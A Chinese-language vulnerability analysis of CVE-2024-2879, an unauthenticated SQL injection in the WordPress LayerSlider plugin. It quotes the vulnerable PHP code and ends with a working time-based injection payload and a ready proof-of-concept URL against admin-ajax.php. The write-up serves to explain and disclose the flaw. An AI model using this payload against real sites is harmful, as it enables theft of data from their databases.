CVE-2024-2879
漏洞概述
2024 年 3 月 25 日,在 WordPress 的 LayerSlider 插件中发现了一个严重的安全漏洞,标记为 CVE-2024-2879。该插件有超过 10 万个活跃安装。该漏洞的 CVSS 评分为 7.5 分(满分 10.0 分),被认定为影响 LayerSlider 版本 7.9.11 至 7.10.0 的 SQL 注入漏洞。
未经身份验证的威胁者可利用该漏洞从数据库中获取敏感信息。
漏洞触发环境
-
基于Wordpress搭建的网站
-
LayerSlider插件版本7.9.11 – 7.10.0
漏洞成因
在assets/wp/actions.php文件中存在该漏洞入口
function ls_get_popup_markup() {
$id = is_numeric( $_GET['id'] ) ? (int) $_GET['id'] : $_GET['id'];
$popup = LS_Sliders::find( $id );
if( $popup ) {
$GLOBALS['lsAjaxOverridePopupSettings'] = true;
$parts = LS_Shortcode::generateSliderMarkup( $popup );
die( $parts['container'].$parts['markup'].'<script>'.$parts['init'].'</script>' );
}
die();
}
根据漏洞预警平台信息可以知道,漏洞存在于ls_get_popup_markup()
函数,该函数用于查询弹出窗口的滑块标记。它接受“id”参数值来识别滑块。
通过get请求传入的参数id通过is_numeric()
函数来判断id是否是数字,如果不是数字则直接将我们传入的参数id值赋值给变量id
然后将变量id传入LS_Sliders::find()
函数
我们跟进到LS_Sliders::find()
函数中查看find方法
public static function find( $args = [] ) {
$userArgs = $args;
// Find by slider ID
if(is_numeric($args) && intval($args) == $args) {
return self::_getById( (int) $args );
// Random slider
} elseif($args === 'random') {
return self::_getRandom();
// Find by slider slug
} elseif(is_string($args)) {
return self::_getBySlug($args);
// Find by list of slider IDs
} elseif(is_array($args) && isset($args[0]) && is_numeric($args[0])) {
return self::_getByIds($args);
// Find by query
} else {
// Defaults
$defaults = [
'columns' => '*',
'where' => '',
'exclude' => ['removed'],
'orderby' => 'date_c',
'order' => 'DESC',
'limit' => 30,
'page' => 1,
'groups' => false,
'data' => true,
'drafts' => false
];
// Merge user data with defaults
foreach( $defaults as $key => $val ) {
if( ! isset( $args[ $key ] ) ) {
$args[ $key ] = $val;
}
}
// Escape user data
foreach( $args as $key => $val ) {
if( $key !== 'where' ) {
$args[ $key ] = esc_sql( $val );
}
}
// Due to the nature of dynamically built queries we can't
// use prepared statements or $wpdb::prepare(). By keeping
// this function backwards compatible, we have even less
// options to completely eliminate potential issues caused
// by unhandled data.
// In addition of using esc_sql(), we're performing some
// further tests trying to filter out user data that might
// not be handled properly prior to this function call.
$columns = ['id', 'group_id', 'author', 'name', 'slug', 'data', 'date_c', 'date_m', 'schedule_start', 'schedule_end', 'flag_dirty', 'flag_hidden', 'flag_deleted', 'flag_popup', 'flag_group'];
$args['columns'] = ( $args['columns'] === '*' ) ? implode(', ', $columns) : $args['columns'];
$args['orderby'] = in_array($args['orderby'], $columns) ? $args['orderby'] : 'date_c';
$args['order'] = ($args['order'] === 'DESC') ? 'DESC' : 'ASC';
$args['limit'] = (int) $args['limit'];
$args['page'] = (int) $args['page'];
$args['groups'] = (bool) $args['groups'];
$args['data'] = (bool) $args['data'];
$args['drafts'] = (bool) $args['drafts'];
if( ! $args['data'] ) {
$args['columns'] = str_replace(', data', '', $args['columns'] );
}
$exclude = [];
if( $args['groups'] ) {
$exclude[] = "( group_id IS NULL OR group_id = '0' )";
} else {
$exclude[] = "flag_group = '0'";
}
if( ! empty( $args['exclude'] ) ) {
if( in_array( 'hidden', $args['exclude'] ) ) {
$exclude[] = "flag_hidden = '0'";
}
if( in_array( 'removed', $args['exclude'] ) ) {
$exclude[] = "flag_deleted = '0'";
}
}
$args['exclude'] = implode(' AND ', $exclude);
// Where
$where = '';
if(!empty($args['where']) && !empty($args['exclude'])) {
$where = "WHERE ({$args['exclude']}) AND ({$args['where']}) ";
} elseif(!empty($args['where'])) {
$where = "WHERE {$args['where']} ";
} elseif(!empty($args['exclude'])) {
$where = "WHERE {$args['exclude']} ";
}
// Some adjustments
$args['limit'] = ($args['limit'] * $args['page'] - $args['limit']).', '.$args['limit'];
// Build the query
global $wpdb;
$table = $wpdb->prefix.LS_DB_TABLE;
$sliders = $wpdb->get_results("
SELECT SQL_CALC_FOUND_ROWS {$args['columns']}
FROM $table
$where
ORDER BY `{$args['orderby']}` {$args['order']}, name ASC
LIMIT {$args['limit']}
", ARRAY_A);
// Set counter
$found = $wpdb->get_col("SELECT FOUND_ROWS()");
self::$count = (int) $found[0];
// Return original value on error
if(!is_array($sliders)) { return $sliders; };
// Parse slider data
if($args['data']) {
foreach($sliders as $key => $val) {
$sliders[$key]['data'] = json_decode($val['data'], true);
}
}
if( $args['groups'] || $args['drafts'] ) {
foreach( $sliders as $key => $val ) {
if( $args['groups'] && $val['flag_group'] ) {
$sliders[ $key ]['items'] = self::_getGroupItems( (int) $val['id'], $userArgs );
}
if( $args['drafts'] && $val['flag_dirty'] ) {
$sliders[ $key ]['draft'] = self::getDraft( (int) $val['id'] );
}
}
}
// Return sliders
return $sliders;
}
}
我们可以看见,变量key如果不等于where就会使用esc_sql()
函数清洗变量
所以我们查看变量where相关的代码
// Where
$where = '';
if(!empty($args['where']) && !empty($args['exclude'])) {
$where = "WHERE ({$args['exclude']}) AND ({$args['where']}) ";
} elseif(!empty($args['where'])) {
$where = "WHERE {$args['where']} ";
} elseif(!empty($args['exclude'])) {
$where = "WHERE {$args['exclude']} ";
}
// Some adjustments
$args['limit'] = ($args['limit'] * $args['page'] - $args['limit']).', '.$args['limit'];
// Build the query
global $wpdb;
$table = $wpdb->prefix.LS_DB_TABLE;
$sliders = $wpdb->get_results("
SELECT SQL_CALC_FOUND_ROWS {$args['columns']}
FROM $table
$where
ORDER BY `{$args['orderby']}` {$args['order']}, name ASC
LIMIT {$args['limit']}
", ARRAY_A);
如果变量where是非空的值并且变量exclude是空的,则会将变量where的值与WHERE进行拼接
global $wpdb;
$table = $wpdb->prefix.LS_DB_TABLE;
$sliders = $wpdb->get_results("
SELECT SQL_CALC_FOUND_ROWS {$args['columns']}
FROM $table
$where
ORDER BY `{$args['orderby']}` {$args['order']}, name ASC
LIMIT {$args['limit']}
", ARRAY_A);
正常SQL语句的逻辑:从变量table表中选择指定列的查询带有变量where的筛选条件并且排序,并限制返回的行数
所以我们要通过给变量where传入构造好的payload,我们假设构造一个延时注入的payload
id[where]=(SELECT 0 FROM (SELECT SLEEP(5))dwade)
那么构造的SQL语句为
SELECT SQL_CALC_FOUND_ROWS {$args['columns']} FROM $table (SELECT 0 FROM (SELECT SLEEP(5))qualysWAS)
ORDER BY `{$args['orderby']}` {$args['order']}, name ASC LIMIT {$args['limit']}
payload构造好之后,我们则寻找可以调用ls_get_popup_markup()
函数的入口
从actions.php中发现
// AJAX functions
add_action('wp_ajax_ls_save_google_fonts', 'ls_save_google_fonts');
add_action('wp_ajax_ls_save_plugin_settings', 'ls_save_plugin_settings');
add_action('wp_ajax_ls_save_slider', 'ls_save_slider');
add_action('wp_ajax_ls_rename_project', 'ls_rename_project');
add_action('wp_ajax_ls_publish_slider', 'ls_publish_slider');
add_action('wp_ajax_ls_revert_slider', 'ls_revert_slider');
add_action('wp_ajax_ls_import_bundled', 'ls_import_bundled');
add_action('wp_ajax_ls_import_online', 'ls_import_online');
add_action('wp_ajax_ls_save_pagination_limit', 'ls_save_pagination_limit');
add_action('wp_ajax_ls_save_editor_settings', 'ls_save_editor_settings');
add_action('wp_ajax_ls_get_slider_details', 'ls_get_slider_details');
add_action('wp_ajax_ls_get_mce_sliders', 'ls_get_mce_sliders');
add_action('wp_ajax_ls_get_mce_slides', 'ls_get_mce_slides');
add_action('wp_ajax_ls_layer_action_popups', 'ls_layer_action_popups');
add_action('wp_ajax_ls_get_post_details', 'ls_get_post_details');
add_action('wp_ajax_lse_get_search_posts', 'lse_get_search_posts');
add_action('wp_ajax_ls_get_taxonomies', 'ls_get_taxonomies');
add_action('wp_ajax_ls_upload_from_url', 'ls_upload_from_url');
add_action('wp_ajax_ls_store_opened', 'ls_store_opened');
add_action('wp_ajax_ls_create_slider_group', 'ls_create_slider_group');
add_action('wp_ajax_ls_add_slider_to_group', 'ls_add_slider_to_group');
add_action('wp_ajax_ls_rename_slider_group', 'ls_rename_slider_group');
add_action('wp_ajax_ls_remove_slider_from_group', 'ls_remove_slider_from_group');
add_action('wp_ajax_ls_delete_slider_group', 'ls_delete_slider_group');
add_action('wp_ajax_ls_download_module', 'ls_download_module');
add_action('wp_ajax_ls_get_revisions', 'ls_get_revisions');
add_action('wp_ajax_ls_save_revisions_options', 'ls_save_revisions_options');
add_action('wp_ajax_ls_save_transition_presets', 'ls_save_transition_presets');
add_action('wp_ajax_ls_download_object', 'ls_download_object');
add_action('wp_ajax_ls_assets_remote_download', 'ls_assets_remote_download');
add_action('wp_ajax_ls_assets_remote_search', 'ls_assets_remote_search');
add_action( 'wp_ajax_ls_get_popup_markup', 'ls_get_popup_markup' );
}
// ADMIN PUBLIC AJAX FUNCTIONS
add_action('wp_ajax_ls_slider_library_contents', 'ls_slider_library_contents');
// FRONT-END AJAX FUNCTIONS
add_action( 'wp_ajax_nopriv_ls_get_popup_markup', 'ls_get_popup_markup' );
});
我们可以看见ls_get_popup_markup()
函数已经加到前端ajax请求了,所以我们可以直接通过admin-ajax.php文件调用该函数
构造POC:
http://site.com/wp-admin/admin-ajax.php?action=ls_get_popup_markup&id[where]=(SELECT 0 FROM (SELECT SLEEP(5))dwade)